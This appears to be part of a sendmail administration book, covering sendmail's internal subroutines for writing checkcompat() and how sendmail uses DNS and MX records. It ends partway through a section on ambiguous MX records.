Previous: 20.1 How checkcompat() Works | sendmail | Next: 20.3 Alphabetized V8.8 Subroutines
20.1 How checkcompat() Works | Book Index | 20.3 Alphabetized V8.8 Subroutines


[Chapter 20] 20.3 Alphabetized V8.8 Subroutines

sendmailSearch this book
Previous: 20.2 The Cookbook Chapter 20
The checkcompat() Cookbook 		Next: III. Administration

20.3 Alphabetized V8.8 Subroutines

Many subroutines inside sendmail can be very useful in writing your own checkcompat() routine. Always try to use sendmail's internal routines rather than redesigning your own. Those supplied with sendmail have already been screened and tested by a large body of skilled programmers.

In this section we list the ones that we consider most useful and describe how best to use them (see Table 20.3).

Table 20.3: Handy Subroutines for Use with checkcompat()
Subroutine |  | Description
addheader | Section 20.3.1, addheader() | Add a new header to the list of headers
define | Section 20.3.2, define() | Define a macro
 | Section 20.3.3 | How to remove a header
hvalue | Section 20.3.4, hvalue() | Look up a header's field by name
macid | Section 20.3.5, macid() | Convert a text string macro name into an integer
macvalue | Section 20.3.6, macvalue() | Fetch a macro's value
->map_lookup | Section 20.3.7, ->map-lookup() | Look up a key in an external database
wordinclass | Section 20.3.8 | Look up a word in a class

Be aware that these subroutines are documented for V8.8 sendmail. If you are using a different version of sendmail, you must familiarize yourself with the source before attempting to use them. Mismatched parameters can cause errors that are difficult to diagnose.

20.3.1 addheader()

Add a new header to the list of headers

The addheader() routine is used to add a new header to the existing list of headers. Note that since it does not check for duplicates, you should screen for the existence of a header before adding it (unless it is okay for multiple headers to exist):

char value[MAXLINE];

(void)sprintf(value, "Screened by checkcompat() for %s", q_user);
(void)addheader("x-screened", value, e->e_header);

Memory for the name of the new header and its value are allocated internally by addheader(), so automatic variables can be safely passed. Note that the first argument to addheader() (line 4) is the name of the header. If you accidentally include a colon in that argument, the name will be stored with that colon included, and later the header name will be incorrectly emitted with two colons.

Note that addheader does not check for the validity of its arguments. If you pass it NULL or an illegal address, you may cause sendmail to core-dump and fail. You are dealing with sendmail internals here, so be very careful.

20.3.2 define()

Define a macro

Macros can be defined and redefined inside checkcompat() using the define() routine. It is called like this:

define( macid, value, envel);

Here, macid is the literal character in the case of a single-character macro name (such as 'A') or the identifying value for a multicharacter name (this latter being derived from a call to macid(). The value is the value to be assigned to the macro. (Note that if the macro already has a value, that prior value is overwritten.) The envel is a pointer to the envelope (in the case of checkcompat() it is e).

To illustrate, consider the following code fragment that assigns a new value to the macros $A and ${foo}:

int mid;

/*
* A single-character name is given a value that is the address
* of a character constant.
*/
define( 'A', "some text as a value", e);

/*
* A multi-character name is given a value that is in malloc()d
* memory space.
*/
mid = macid("{foo}", NULL);
define(mid, newstr(to->qpaddr), e);

In both cases the value stored is in permanent memory. You must not pass a pointer to automatic or volatile memory, because define() just stores the pointer, it does not copy the value. [5] In the second example (line 18), memory is allocated for the string with newstr(), another internal routine that allocates room for the string and the string's terminating zero, copies the string into that allocated space, and returns a pointer to the newly allocated string. But be careful to keep track of what you are doing. You can easily create a serious memory leak if you are careless with newstr().

[5] Technically, you should not use a string constant because string constants are stored in read-only program space and often may not be changed at runtime, for example, when a macro's value needs to be later modified in place.

The first argument to wordinclass() (line 17) is a string that contains the macro's literal name without a $ prefix. For multicharacter names, the enclosing curly braces are mandatory (see Section 31.4.2, "Multicharacter Names").

See the -d35 debugging switch (Section 37.5.120, -d35.9) for a way to watch macros being defined and redefined. Also see munchstring() in readcf.c if you need to parse a macro's literal name from among other text.

20.3.3

How to remove a header

The sendmail program's internal routines cannot be used to remove a header from the linked list of headers, but you can prevent one from being emitted into the delivered message by massaging its flags.

Consider the need to suppress custom X-Accounting: headers:

HDR *h;

for (h = e->e_header; h != NULL; h = h->h_link)
{
       if (strcasecmp(h->h_field, "x-accounting") != 0)
               continue;
       clrbitmap(h->h_mflags);
       h->h_flags |= H_ACHECK;
}

Here, we have to manually scan the linked list of headers (line 3). When the one that is being sought is found (note that the check is not case sensitive, line 5) we delete it. This is done by first zeroing all the ?flags? for the header (line 7). Then we add the H_ACHECK flag (line 8) to ensure that the header will be skipped on delivery. See Section 35.5.16, "Replacing Headers with H_ACHECK" for a discussion of the effect of the H_ACHECK flag.

20.3.4 hvalue()

Look up a header's field by name

The hvalue() routine can be used to look up a header and optionally change it, or insert it if it is missing. It is used like this:

char *field;

field = hvalue("message-id", e->e_header)
if (field == NULL)
{
        /* No Message-ID: in the message, so insert one */
}

Note that the first argument to hvalue() is the name of the header being looked up (line 3), without a trailing colon. If you accidentally include the colon, the lookup will always fail.

The hvalue() routine returns a string that is the field of the header that is looked up (see Section 35.3, "Header Field Contents"). If a particular header name can exist multiple times (such as Received:), hvalue() will return the first instance. If you need to process all such headers, you will need to scan for them manually.

20.3.5 macid()

Convert a text string macro name into an integer

(int)

Macros, class names, and rule-set names can be single-character or multicharacter in form. The macid() routine converts a macro's name from a text string form (literal form) into an integer. The resulting integer can later be used by other routines such as macvalue() and wordinclass().

To illustrate, consider the names A and {foo}:

int mid;

mid = macid("A", NULL);

mid = macid("{foo}", NULL);

The first argument to macid() must be a string that contains the name to be converted. For a single-character name (line 3) the name is converted to the character-constant value of the first letter ("A" becomes 'A'). For a multicharacter name (line 5) the name must be enclosed in curly braces. The name is converted to a unique integer value that is either new or one that was previously assigned by an earlier call to macid().

The second argument to macid is NULL in our examples because the string in the first argument contained only a name. When other text might appear in the string you may pass a nonnull second argument:

char *str = "localhost is ${lhost}, so there.";
char *cp, *ep;
int mid;

if ((cp = strchr(str, '$')) != NULL)
{
        mid = macid( cp+1, &ep );
}

The second argument (line 7) is the address of a character pointer. After the call to macid() that character pointer (ep) contains the address of the first character following the name - the comma in str (line 1).

20.3.6 macvalue()

Fetch a macro's value

The value stored in a macro can be fetched with the macvalue() routine. For example,

char *val;
int mid;

val = macvalue( 'A', e);

mid = macid( "{foo}", NULL);
val = macvalue( mid, e);

The first example (line 4) shows macvalue() being used to fetch the value stored in a single-character macro name (A). The second (line 6) shows a technique that is useful for multicharacter names and for times when you must process an arbitrary name in a string. The macid() routine converts a macro's literal name into an identifying integer. That integer is then looked up with macvalue() to return its value (line 7).

If the looked up macro is not defined, macvalue() returns NULL.

20.3.7 ->map-lookup()

Look up a key in an external database

Arbitrary keys can be looked up in external databases by using the routines that are indirectly set up when a database is declared. For example, consider a dbm database that will store login names as the keys and the words ok or drop as the values. You would first create a source text file with the makemap program (see Section 33.2). Next you would declare that database in the configuration file:

Kbouncelist dbm -o /etc/bouncelist

This K configuration command (see Section 33.3) gives the internal symbolic name bouncelist to the database.

Values can now be looked up using the following code fragment:

STAB *map;
char *p;
int  r = 0;

map = stab("bouncelist", ST_MAP, ST_FIND);
if (map == (STAB *)NULL)
        return (EX_OK);
p = (*map->s_map.map_class->map_lookup)(&map->s_map, to->q_ruser, NULL, &r);
if (p == NULL)
        return (EX_OK);

if (strcasecmp(p, "drop") == 0)
        /* drop the message on the floor */

The lookup is performed by calling the addresses stored in map_lookup (line 8). The second argument is the key that is being looked up (here, we use to->q_ruser, the login name of the recipient as the key).

Errors are returned in r. We ignore those errors here, but you can use them if you wish. They correspond to the error values listed in <sysexits.h>. But note that not all lookups change r (see map.c for specific details).

20.3.8 wordinclass()

Look up a word in a class

(bool)

The words that form a class (see Section 32.1.1, "The C Class Command") are stored as symbols in the symbol table (see Section 32.2.4, "Class Name Hashing Algorithm"). The check to see whether a string of text was included in a given class is done with the wordinclass() routine. Single-character class names and multicharacter class names can be searched:

int mid;

if (wordinclass( "localhost", 'w') == TRUE)
        /* yes, it was found */

mid = macid("{foo}", NULL);
if (wordinclass( "localhost", mid) == FALSE)
        /* no, not found */

The first argument to macid is a string that contains the word being looked up. Care must be taken to ensure that the first argument is a legal address and not NULL because wordinclass() does not check.

The second argument is either an integer character-constant (such as the 'w', line 3), or an integer identifier returned by macid() (line 7).

Previous: 20.2 The Cookbook | sendmail | Next: III. Administration
20.2 The Cookbook | Book Index | III. Administration


[Chapter 21] DNS and sendmail

sendmailSearch this book
Previous: III. Administration Chapter 21 Next: 21.2 How sendmail Uses DNS

21. DNS and sendmail

Contents:
Overview
How sendmail Uses DNS
Set Up MX Records
How to Use nslookup
Prepare for Disaster
Pitfalls

21.1 Overview

DNS stands for Domain Naming System. A domain is any logical or physical collection of related hosts or sites. A naming system is best visualized as an inverted tree of information that corresponds to full qualified hostnames (see Figure 21.1).

Figure 21.1: Domain names form a tree of information

The parts of a fully qualified name are separated from one another with dots. For example,

here.uofa.edu

This name describes the machine here that is part of the uofa subdomain of the edu top-level domain. In Figure 21.1 the dot at the top is the "root" of the tree. It is implied but never [1] included in fully-qualified domain names:

[1] Well, hardly ever. It can be used under some circumstances to prevent the local domain from being accidently appended improperly.

here.uofa.edu.

             implied

The root corresponds to (is served by) actual machines. [2] Each has knowledge of all the top-level domains (such as gov, com, etc.) and the server machines for those domains. Each of the top-level domain's servers knows of one or more machines with knowledge of the next level below. For example, the server for edu "knows" about the subdomains uofa, uofb, and uofc but may not know about anything below those subdomains, nor about the other domains next to itself such as com. [3]

[2] This used to be a single machine named ns.internic.net but is now several machines named a.root-servers.net, b.root-servers.net, and so on.

[3] There is also a type of server called "caching." This type doesn't originate information about domains but is able to look up and save information and to supply it on request.

A knowledgeable machine, one that can look up or distribute information about its domain and subdomains, is called a name server. Each little black square in the figure represents a name server for a portion of a domain. Each is required to have knowledge only of what is immediately below it. This minimizes the amount of knowledge any given name server must store and administer.

To illustrate the way this distributed information is used, see Figure 21.2 for the steps that are taken when sendmail on here.uofa.edu (the local host) attempts to connect to fbi.dc.gov (the remote host) to send an email message to a user there.

Figure 21.2: How DNS lookups are performed

  1. The local sendmail needs the IP number of the remote host to initiate a network connection. The local sendmail asks its local name server (say, mail.uofa.edu) for that address. The mail.uofa.edu name server may already know the address (having cached that information during a previous inquiry). If so, it gives the requested address to the local sendmail, and no further DNS requests need to be made. If the local name server doesn't have that information, it contacts other name servers for the needed information.

  2. In the case of fbi.dc.gov the local name server next contacts one of the root servers (the dot in the big box in our example). A root server will likely not have the information requested but will indicate the best place to inquire. For our example, the root server recommends the name server for the .gov domain and provides our local name server with the address of that .gov domain server machine.

  3. The local name server then contacts the .gov name server. This process continues until a name server provides the needed information. As it happens, any name server can return the final answer if it happens to have it in its cache. For our example, .gov knows the address for fbi.dc.gov. It returns that address to the local name server, which in turn returns the address to the local sendmail.

Note that this is a simplified description. The actual practice can be more or less complex depending on who is "authoritative" about which machines and domains and what is cached where.

The sendmail program needs the IP address of the machine to which it must connect. That address can be returned by name servers in three possible forms:

  • An MX (Mail eXchanger) record lists one or more machines that have agreed to receive mail for a particular site or machine. Multiple MX records are tried in order of cost [4] (least to most). An MX record need not point to the original receiving host. MX records always take precedence over A records.

    [4] Technically, this field is called the preference. We use cost to clarify that lower values are preferable, whereas preference wrongly connotes that higher values are preferable.

  • An A (Address) record gives the IP address directly.

  • A CNAME (Canonical NAME, or alias) record refers sendmail to the real name, which may have an A record or MX records.

21.1.1 Which DNS? 4.8.3 or 4.9?

Before we discuss DNS in greater detail, we must first attend to an administrative detail. Every site on the Internet should run BIND software version 4.8.3 at the minimum. BIND provides the software and libraries that are needed to perform DNS inquiries. Version 4.8.3 was the last stable version before Paul Vixie (while at dec.com) started rewriting the code. The current release is 4.9. [5]

[5] As of the final draft of this manuscript, release 4.9.3 was the most recent.

Unless you are already running the latest version, you should consider upgrading to V4.9. BIND 4.9 is available via anonymous FTP from

ftp://ftp.vix.com/pub/bind/release

We won't describe in this book how to install BIND. Instead, you should refer to the book DNS and BIND by Paul Albitz and Cricket Liu (O'Reilly & Associates, 2nd edition, 1997).

21.1.2 Make sendmail DNS Aware

Not all releases of sendmail are ready to use DNS. To determine whether yours is ready, type the following command:

% /usr/lib/sendmail -d0.1 -bt < /dev/null
Version 8.8.4
 Compiled with: LOG MIME8TO7 NAMED_BIND NETINET NETUNIX NEWDB SCANF
                USERDB XDEBUG

============ SYSTEM IDENTITY (after readcf) ============
      (short domain name) $w = here
  (canonical domain name) $j = here.uofa.edu
         (subdomain name) $m = uofa.edu
              (node name) $k = here
========================================================

Look for a statement that indicates whether or not your sendmail was compiled with NAMED_BIND support (see Section 18.8.23, NAMED-BIND). If so, it can use DNS. If not, either you will have to get a corrected version from your vendor [6] or you will have to download and compile the latest version of sendmail from scratch (see Section 18.3, "Obtain the Source").

[6] Sun typically supplies two versions. The one named sendmail.mx is able to use DNS.

But even if your sendmail binary supports DNS, site configuration may not. If your host supports a service-switch file, for instance, make sure it lists dns as the method used to fetch information about hosts.

Another possible problem might be your configuration file. It may, for example, have been derived from the nodns FEATURE [7] (see Section 19.6.18, FEATURE(nodns)):

[7] Note that the nodns FEATURE did nothing in V8.7 sendmail.

% grep dns /etc/sendmail.cf
#####  @(#)nodns.m4 8.1 (Berkeley) 8/6/93  #####

If it was, as indicated by the phrase nodns.m4, you can get sendmail back into the DNS business by setting the ResolverOptions (I) option (see Section 34.8.55, ResolverOptions (I)).

If your sendmail still seems unable to use DNS, despite your efforts, look for other reasons for failure. Make sure, for example, that your /etc/resolv.conf file is present and that it contains the address (not the name) of a valid name server machine for your domain. If you are running NIS or NIS+, make sure it is configured to look up hosts with DNS.

Previous: III. Administration | sendmail | Next: 21.2 How sendmail Uses DNS
III. Administration | Book Index | 21.2 How sendmail Uses DNS


[Chapter 21] 21.2 How sendmail Uses DNS

sendmailSearch this book
Previous: 21.1 Overview Chapter 21
DNS and sendmail 		Next: 21.3 Set Up MX Records

21.2 How sendmail Uses DNS

The sendmail program uses DNS in four different ways:

  • When sendmail first starts, it may use DNS to get the canonical name for the local host. That name is then assigned to the $j macro (see Section 31.10.20, $j). [8] If DNS returns additional names for the local host, those names are assigned to the class $=w (see Section 32.5.8, $=w).

    [8] Prior to V8 sendmail, the canonical name was stored in the $w macro (see Section 31.10.40, $w) and sendmail initialized only the $j macro (see Section 31.10.20). Beginning with V8 sendmail, sendmail initializes both of those variables, among others (see Section 31.1, "Preassigned Macros").

  • When another host connects to the local host to transfer mail, the local sendmail looks up the other host with DNS to find the other host's canonical name.

  • When delivering network SMTP mail, sendmail uses DNS to find the address (or addresses) to which it should connect.

  • When sendmail expands $[ and $] in the RHS of a rule, it looks up the hostname (or IP number) between them.

We discuss each of these uses individually later in this chapter.

21.2.1 Determine the Local Canonical Name

All versions of sendmail use more or less the same logical process to obtain the canonical name of the local host. As illustrated in the sample program below, sendmail first calls gethostname(3) to obtain the local host's name. That name may either be a short name or a fully qualified one depending on which comes first in the /etc/hosts file. If the call to gethostname(3) fails, the name of the local host is set to localhost:

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <netdb.h>
#include <stdio.h>

main()
{
        char hostbuf[MAXHOSTNAMELEN];
        struct hostent *hp;

        /* Get the local hostname */
        if (gethostname(hostbuf, sizeof(hostbuf)) < 0)
                strcpy(hostbuf, "localhost");
        printf("hostname = \"%s\"\n", hostbuf);

        /* canonicalize it and get aliases */
        if((hp = gethostbyname(hostbuf)) == NULL)
                perror("gethostbyname"), exit(2);
        printf("canonical = \"%s\"\n", hp->h_name);
        while (*hp->h_aliases != NULL)
        {
                printf("alias: \"%s\"\n", *hp->h_aliases);
                ++hp->h_aliases;
        }
}

The local hostname is then given to the gethostbyname routine (see Section 37.5.186, -d61.10) to obtain the canonical name for the local host. That same routine also returns any aliases (other names for the local host).

On some Sun and Ultrix machines that are set up to use NIS services, the canonical name is the short name, and a fully qualified name that should have been the canonical name appears as an alias. For such systems you must link with the BIND library (libresolv.a) when compiling this program or compiling sendmail. That library gets its information from DNS rather than from NIS. But note that V8.7 and above versions of sendmail do the intelligent thing and use the canonical name that was found as the aliases if it exists.

If a good BIND library is not available, or if it is not convenient to compile and install a new version of sendmail, you can circumvent the short name assigned to $j by defining $j like this:

Dmyour domain here
Dj$w.$m

The canonical name is your site's hostname with a dot and your domain name appended. These two lines cause $j to have your host's fully qualified (and canonical) name assigned to it.

The canonical name found by gethostbyname(3) is assigned as the value of the $w macro. The short name and any aliases are added to the class $=w.

The result of all these lookups can be viewed by running sendmail with a -d0.4 debugging switch (see Section 37.5.2, -d0.4). The actual DNS lookups can be watched with the -d8.8 debugging switch (see Section 37.5.35, -d8.8).

21.2.2 Look Up a Remote Host's Name

When sendmail begins to run as a daemon, it creates a socket, binds to that socket, and listens for incoming SMTP connections. When a remote host connects to the local host, sendmail uses the accept(2) library routine to accept the connection. The accept(2) routine provides the IP address of the remote machine to sendmail. The sendmail program then calls gethostbyaddr(2) to convert that IP address to a canonical (official) hostname.

The sendmail program needs the canonical hostname for four reasons:

  • The remote hostname is compared to the local hostname to prevent sendmail from connecting to itself.

  • The remote hostname claimed in the HELO SMTP line is compared to the canonical name. If they differ, sendmail complains.

  • The macro $s is assigned the canonical hostname as its value.

  • The canonical name is included in many log messages produced by the setting of the LogLevel (L) option (see Section 34.8.33, LogLevel (L)) and is available for inclusion in Received: header (see Section 35.10.25, Received:) lines.

If the Timeout.ident (r) option (see Section 34.8.70.10, "Timeout.ident") is greater than zero, the local host also connects to the identd(8) daemon at the sending host to discover who opened the connection. If available, that user and host information is assigned to the $_ macro (see Section 31.10.1, $-).

21.2.3 Look Up Addresses for Delivery

When sendmail prepares to connect to a remote host for transfer of mail, it first performs a series of checks that vary from version to version. All versions accept an IP address surrounded with square brackets as a literal address and use it as is.

Beginning with V8.1, sendmail checks to see whether the host part of the address is surrounded with square brackets. If so, it skips looking up MX records. (We'll elaborate on MX records soon.)

Beginning with V8.8, sendmail first checks to see whether the F=0 flag (see Section 30.8.1, F=0) is set for the selected delivery agent. If it is set, sendmail skips looking up MX records.

If sendmail is allowed to look up MX records, it calls the res_search(3) BIND library routine [9] to find all the MX records for the host. If it finds any MX records, it sorts them in order of cost, selecting the least cost first. If V8 sendmail finds two costs that are the same, it randomizes the selection between the two when sorting. [10] After all MX records are found, or if no MX records were found, sendmail adds the host specified by the FallbackMXhost (V) option (see Section 34.8.25, FallbackMXhost (V)), if there was one, to that list.

[9] If the ServiceSwitchFile option (see Section 34.8.61, ServiceSwitchFile) lists a file that defines hosts as being looked up with NIS, all DNS lookups are skipped.

[10] Note that this is broken in many older versions of sendmail. Also note that when the MX record points to the local host, all MX records with a cost greater than the local host are tossed. (See Section 31.10.40 for a description of this process.)

The sendmail program then tries to deliver the message to each host in the list of MX hosts, one at a time, until one of them succeeds or until they all fail. Beginning with V8.8 sendmail, any host in the list that returns a 5xy SMTP code (permanent failure) causes all subsequent MX hosts to be ignored (but temporary and connect failures continue to the next MX host as usual).

If no MX records are found, sendmail tries to deliver the message to the single original host. If all else fails, sendmail attempts to deliver to the host listed with the FallbackMXhost (V) option.

Whether sendmail tries to connect to the original host or to a list of MX hosts, it calls gethostbyname(2) to get the network address for each. It then opens a network connection to that address and attempts to send SMTP mail.

21.2.4 The $[ and $] Operators

The $[ and $] operators (see Section 28.6.6, "Canonicalize Hostname: $[ and $]") are used to canonicalize a hostname. Here is a simplified description of the process.

Each lookup is actually composed of many lookups that occur in the form of a loop within a loop. In the outermost loop, the following logic is used:

  • If the address has at least one dot somewhere in it, sendmail looks up that address unmodified first.

  • If the unmodified address is not found and the RES_DNSRCH bit is set (see the ResolverOptions (I) option, Section 34.8.55), sendmail looks up variations on the domain part of the address. The default domain is tried first (for a host in the sub subdomain at dc.gov, that would be sub.dc.gov, thus looking up host.sub.dc.gov). If that fails, BIND 4.8 then throws away the lowest part of the domain and tries again (looks up host.dc.gov). BIND 4.9 uses the search attribute, if given, and tries that list of possible domains.

  • If the address has no dots and the RES_DEFNAMES bit is set (see the ResolverOptions (I) option, Section 34.8.55), sendmail tries the single default domain (looks up host.sub.dc.gov). This is for compatibility with older versions of DNS.

Each lookup described above is performed by using the following steps:

  • Try the hostname with a T_ANY query that requests all the cached DNS records for that host. If it succeeds, A records and/or MX records may be among those returned. However, success is not guaranteed, because sometimes only NS (name server) records are returned. In that instance the following steps are also taken.

  • Try the hostname with a T_A query that requests the A record for that host.

  • Try the hostname with a T_MX query that requests MX records for the host.

Each query searches the data returned as follows:

  • Search for a CNAME (alias) record. If one is found, replace the initial hostname (the alias) with the canonical name returned and start over.

  • Search for an A record (the IP address). If one is found, the hostname that was just used to query is considered the canonical address.

  • Search for an MX record. If one is found and a default domain has not been added, treat the MX record like an A record. For example, if the input hostname is sub.dc.gov and an MX record is found the MX record is considered official. If, on the other hand, the input hostname has no domain added (is sub) and the query happens to stumble across sub.dc.gov as the MX record, the following searches are also tried.

  • If an MX record is found and no MX record has been previously found, the looked-up hostname is saved for future use. For example, if the query was for sub.dc.gov and two MX records were returned (hostA.sub.dc.gov and hostB.sub.dc.gov), sub.dc.gov is saved for future use.

  • If no MX record is found, but one was found previously, the previous one is used. This assumes that the search is normally from most to least complex (sub.sub.dc.gov, sub.dc.gov, dc.gov).

All this apparent complexity is necessary to deal with wildcard MX records (see Section 21.3.4, "Wildcard MX Records") in a reasonable and successful way.

Previous: 21.1 Overview | sendmail | Next: 21.3 Set Up MX Records
21.1 Overview | Book Index | 21.3 Set Up MX Records


[Chapter 21] 21.3 Set Up MX Records

sendmailSearch this book
Previous: 21.2 How sendmail Uses DNS Chapter 21
DNS and sendmail 		Next: 21.4 How to Use nslookup

21.3 Set Up MX Records

An MX record is simply the method used by DNS to route mail bound for one machine to another instead. An MX record is created by a single line in one of your named(8) files:

hostA    IN      MX 10 hostB

This line says that all mail destined for hostA in your domain should instead be delivered to hostB in your domain. The IN says that this is an Internet-type record, and the 10 is the cost [11] for using this MX record.

[11] Technically, this field is called the preference. We use cost to clarify that lower values are preferable, whereas preference wrongly connotes that higher values are preferable.

An MX record may point to another host or to the original host:

hostA    IN      MX 0 hostA

This line says that mail for hostA will be delivered to hostA. Such records may seem redundant, but they are not. We'll cover why shortly.

A host can have multiple MX records (one pointing to itself or not):

hostA   IN      MX 0  hostA
        IN      MX 10 hostB

Here, hostA has the lowest cost (0 versus 10 for hostB), so delivery will be attempted to itself first. If hostA is down, delivery will be attempted to hostB host instead.

Usually, MX records point to hosts inside the same domain. Therefore managing them does not require the cooperation of others. But it is legal for MX records to point to hosts in different domains:

hostA   IN      MX 0  hostA
        IN      MX 10  host.other.domain.

Here, you must contact the administrator at other.domain and obtain permission before creating this MX record. We cover this concept in more detail when we discuss disaster preparation later in this chapter.

Although MX records are usually straightforward, there can be a few problems associated with them.

21.3.1 MX Must Point to an A Record

The A record for a host is a line that gives the host's IP address.

hostC  IN     A   123.45.67.8

Here, hostC is the host's name. The IN says this is an Internet-type record. The A marks this as an A record. The 123.45.67.8 is the IP address for the host hostC.

An MX record must point to a hostname that has an A record. To illustrate, consider the following:

hostA  IN     MX  10 hostB             <-  illegal
       IN     MX  20 hostC
hostB  IN     MX  10 hostC
hostC  IN     A   123.45.67.8

Note that hostB lacks an A record but hostC has one. It is illegal to point an MX record at a host that lacks an A record. Therefore the first line above is illegal, whereas the second line is legal.

Although such a mistake is difficult to make when maintaining your own domain tables, it can easily happen to you if you rely on a name server in someone else's domain, as shown:

hostA    IN     MX  10 mail.other.domain.

The other administrator might, for example, retire the machine mail and replace its A record with an MX record that points to a different machine. Unless you are notified of the change, your MX record will suddenly become illegal.

21.3.2 MX to CNAME Causes Extra Lookups

The sendmail program is frequently more forgiving than other MTAs because it accepts an MX record that points to a CNAME record. The presumption is that, eventually, the CNAME will correctly point to an A record. But beware, this kind of indirection can cost additional DNS lookups. Consider this example of an exceptionally bad setup:

hostA    IN     MX  10 mailhub
mailhub  IN     CNAME  nfsmast
nfsmast  IN     CNAME  hostB
hostB    IN     A 123.45.67.89

First, sendmail looks up hostA and gets an MX record pointing to mailhub. Since there is only a single MX record, sendmail considers mailhub to be official. Next, mailhub is looked up to find an A record (IP address), but instead a CNAME (nfsmast) is returned. Now sendmail must look up the CNAME nfsmast to find its A record. But again a CNAME is returned instead of an A record. So sendmail must again look for an A record (this time with hostB). Finally, sendmail succeeds by finding the A record for hostB, but only after a few too many lookups.

The correct way to form the above DNS file entries is as follows:

hostA    IN     MX  10 hostB
mailhub  IN     CNAME  hostB
nfsmast  IN     CNAME  hostB
hostB    IN     A 123.45.67.89

In general, try to construct DNS records in such a way that the fewest lookups are required to resolve any A or MX records.

21.3.3 MX Records Are Nonrecursive

Consider the following MX setup, which causes all mail for hostA to be sent to hostB and all mail for hostB to be sent to hostB, or to hostC if hostB is down: [12]

[12] We are fudging for the sake of simplicity. Here, we assume that all the hosts also have A records.

hostA   IN     MX  10 hostB
hostB   IN     MX  10 hostB
        IN     MX  20 hostC

One might expect sendmail to be smart and deliver mail for hostA to hostC if hostB is down. But sendmail won't do that. It does not try to recursively look for additional MX records. If it did, it could get hopelessly entangled in MX loops. Consider the following:

hostA   IN     MX  10 hostB
hostB   IN     MX  10 hostB
        IN     MX  20 hostC
hostC   IN     MX  10 hostA       <-  potential loop

If your intention is to have hostA MX to two other hosts, then you must state that explicitly:

hostA   IN     MX  10 hostB
        IN     MX  20 hostC
hostB   IN     MX  10 hostB
        IN     MX  20 hostC

Another reason sendmail refuses to follow MX records beyond the target host is that costs in such a situation are undefined. Consider the example with the potential loop above. What is the cost of hostA when MX'd by hostB to hostC? Should it be the minimum of 10, the maximum of 20, the mean of 15, or the sum of 30?

21.3.4 Wildcard MX Records

Wildcard MX records provide a shorthand for MX'ing many hosts with a single MX record:

*.dc.gov.       IN  MX  10 hostB

This says that any host in the domain .dc.gov (where that host doesn't have any record of its own) should have its mail forwarded to hostB.

; domain is .dc.gov
*.dc.gov.       IN  MX  10 hostB
hostA           IN  MX  10 hostC
hostB           IN  A   123.45.67.8

Here, mail to hostD (no record at all) will be forwarded to hostB. But the wildcard MX record will be ignored for hostA and hostB, because each has its own record.

Care must be exercised in setting up wildcard MX records. It is easy to create ambiguous situations that DNS may not be be able to handle correctly. Consider the following, for example:

; domain is sub.dc.gov
*.dc.gov.       IN  MX  10 hostB.dc.gov.
*.sub.dc.gov.   IN  MX  10 hostC.dc.gov.

Here, an unqualified name such as just plain hostD matches both wildcard records. This is ambiguous, so DNS automatically picks the most complete one (*.sub.dc.gov.) and supplies that MX record to sendmail.

One compelling weakness of wildcard MX records is that they match any hostname at all, even for machines that don't exist:

; domain is sub.dc.gov
*.dc.gov.       IN  MX  10 hostB.dc.gov.

Here, mail to foo.dc.gov will be forwarded to hostB.dc.gov, even if there is no host foo in that domain.

Wildcard MX records almost never have any appropriate use on the Internet. They are often misunderstood and are often used just to save the effort of typing hundreds of MX records. They do, however, have legitimate uses behind firewall machines and on non-Internet networks.

21.3.5 What? They Ignore MX Records?

Many older MTAs on the network ignore MX records, and some Sun sites wrongly run the non-MX version of sendmail (that is, they should use /usr/lib/sendmail.mx). Because of this, you will occasionally find some sites that insist on sending mail to a host even though that host has been explicitly MX'd to another.

To illustrate why this is bad, consider a UUCP host that has only an MX record. It has no A record because it is not on the network:

uuhost   IN    MX  10 uucpserver

Here, mail to uuhost will be sent to uucpserver, which will forward the message to uuhost with UUCP software. An attempt to ignore this MX record will fail because uuhost has no other records. Similar problems can arise for printers with direct network connections, terminal servers, and even workstations that don't run an SMTP daemon such as sendmail.

If you believe in DNS and disdain sites that don't, you can simply ignore the offending sites. In this case the mail will fail if your MX'd host doesn't run a sendmail daemon (or another MTA). This is not as nasty as it sounds. There is actually considerable support for this approach; failure to obey MX records is a clear violation of published network protocols. RFC1123, Host Requirements, section 5.3.5, notes that obeying MX records is mandatory.

On the other hand, if you want to ensure that all mail is received, even on a workstation whose mail is MX'd elsewhere, you can run the sendmail daemon on every machine.

21.3.6 Caching MX Records

Although you are not required to have MX records for all hosts, there is good reason to consider doing so. To illustrate, consider the following host that only has an A record:

hostB           IN  A   123.45.67.8

When sendmail first looks up this host, it asks the local name server for all records. Because there is only an A record, that is all it gets.

But note that asking for all records caused the local name server to cache the information. The next time sendmail looks up this same host, the local name server will return the A record from its cache. This is faster and reduces Internet traffic. The cached information is "nonauthoritative" (because it is a copy) and includes no MX records (because there are none).

When sendmail gets a nonauthoritative reply that lacks MX records, it is forced to do another DNS lookup. This time, it specifically asks for MX records. In this case there are none, so it gets none.

Because hostB lacks an MX record, sendmail performs a DNS lookup each and every time mail is sent to that host. If hostB were a major mail-receiving site, its lack of an MX record would be causing many sendmail programs, all over the world, to waste network bandwidth with otherwise useless DNS lookups.

We strongly recommend that every host on the Internet have at least one MX record. As a minimum, it can simply point to itself with a 0 cost:

hostB           IN  A   123.45.67.8
                IN  MX  0 hostB

This will not change how mail is routed to hostB but will reduce the number of DNS lookups required.

21.3.7 Ambiguous MX Records

RFC974 leaves the treatment of ambiguous MX records to the implementor's discretion. This has generated much debate in sendmail circles. Consider the following:

foo    IN MX 10 hostA
foo    IN MX 20 hostB          <-  mail from hostB to foo
foo    IN MX 30 hostC

When mail is sent from a host (hostB) that is an MX record for the receiving host (foo), all MX records that have a cost equal to or greater than that of hostB must be discarded. The mail is then delivered to the remaining MX host with the lowest cost (hostA). This is a sensible rule, because it prevents hostB from wrongly trying to deliver to itself.

It is possible to configure hostB so that it views the name foo as a synonym for its own name. Such a configuration results in hostB never looking up any MX records because it recognizes mail to foo as local.

But what should happen if hostB does not recognize foo as local and if there is no hostA?

                               <-  no hostA
foo    IN MX 20 hostB          <-  mail from hostB to foo
foo    IN MX 30 hostC

Again, RFC974 says that when mail is being sent from a host (hostB) that is an MX record for the receiving host (foo), all MX records that have a cost equal to or greater than that of hostB must be discarded. In this example that leaves zero MX records. Three courses of action are now open to sendmail, but RFC974 doesn't say which it should use:

  • Assume that this is an error condition. Clearly, hostB should have been configured to recognize foo as local. It didn't (hence the MX lookup and discarding in the first place), so it must not have known what it was doing. V8 sendmail with the TryNullMXList (w) option (see Section 34.8.71, TryNullMXList (w)) not set (undeclared or declared as false) will bounce the mail message.

